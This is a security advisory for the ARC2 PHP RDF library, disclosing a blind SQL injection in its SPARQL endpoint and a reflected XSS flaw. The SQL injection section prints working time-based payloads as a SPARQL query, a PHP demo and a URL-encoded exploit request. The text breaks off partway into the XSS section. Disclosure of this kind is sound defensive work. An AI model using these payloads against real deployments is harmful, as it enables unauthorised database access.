ARC v2011-12-01 Multiple vulnerabilities Name ARC2 v2011-12-01 Multiple vulnerabilities Systems Affected ARC2 v2011-12-01 Severity High Impact High 10/10, vector (AV:N/AC:L/Au:N/C:C/I:C/A:C) Vendor https://github.com/semsol/arc2 Advisory http://www.ush.it/team/negator/hack-arc_2011-12-01/adv.txt Author Simone "negator" Onofri, Luca "beinux3" Napolitano Date 20121123 I. BACKGROUND ARC is a flexible RDF system for semantic web and PHP practitioners. It's free, open-source, easy to use, and runs in most web server environments. II. DESCRIPTION ARC version v2011-12-01 and lower is affected by Blind SQL Injection and Cross Site Scripting vulnerabilities, in particular the SPARQL+ Endpoint. III. ANALYSIS Summary: A) Blind SQL Injection (SQLI) Vulnerability B) Reflected Cross Site Scripting (XSS) Vulnerability A) Blind SQL Injection (SQLI) Vulnerability A blind SQL Injection vulnerability exists in ARC version v2011-12-01. ARC stores triples into a mySQL database and uses a translator from SPARQL and SQL. To improve debugging of the application the developer has included comments that contain the query string value. It's possible to Inject SQL commands on these comments if data passed is into a SPARQL WHERE clause. In the "getTriplePatternSQL()" function, "ARC2_StoreSelectQueryHandler .php" file, the query sent to MySQL is automatically debugged (without the ability to conditionally disable such feature) plugging comments containing the pattern's "S P O" (Subject, Predicate, Object; the semantic web triple concept) values. SPARQL Query: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PREFIX iam: SELECT * WHERE { ?user iam:user "lol*/ OR (SELECT sleep(5))=1--" . } LIMIT 100 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Actual MySQL Query: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- SELECT T_0_0_0.s AS `user`, T_0_0_0.s_type AS `user type` FROM arc_tests_triple T_0_0_0 WHERE (T_0_0_0.p = 0) /*FIX-IT http://xuser */ AND (T_0_0_0.o = 0) /*FIX-IT lol*/ OR (SELECT sleep(5))=1-- */ LIMIT 0,100 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- What follows is a demo exploitation of the SPARQL Endpoint. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $query = 'PREFIX iam: SELECT * WHERE { ?user iam:user "lol*/ OR (SELECT sleep(5))=1--".?password iam:hasPassw ord "password" . } LIMIT 100'; $store->setUp(); $store->query($query, 'rows') --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- It's possible to exploit the issue in the standard blind way, for example using TRUE/FALSE statements (tautology). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- http://www.example.com/end_point.php?query=PREFIX+iam%3A+%0D%0ASELECT+*+WHERE+%7B%0D%0A+++%3Fuser+iam%3Auser+"lol*%2F+OR+%28SELE CT+sleep%285%29%29%3D1--".%0D%0A%7D%0D%0ALIMIT+1&output=&jsonp=&key=&sho w_inline=1 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The CVSS v2 score for Blind SQL Injection is: High 10/10, vector (AV:N/AC:L/Au:N/C:C/I:C/A:C). B) Reflected Cross Site Scripting (XSS) Vulnerability A Reflected Cross Site Scripting vulnerability exists in ARC version v2011-12-01 endpoint function. The GET variable "query" is reflected in page without proper encoding when the "output" option is set to "htmltab". --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Could not properly handle "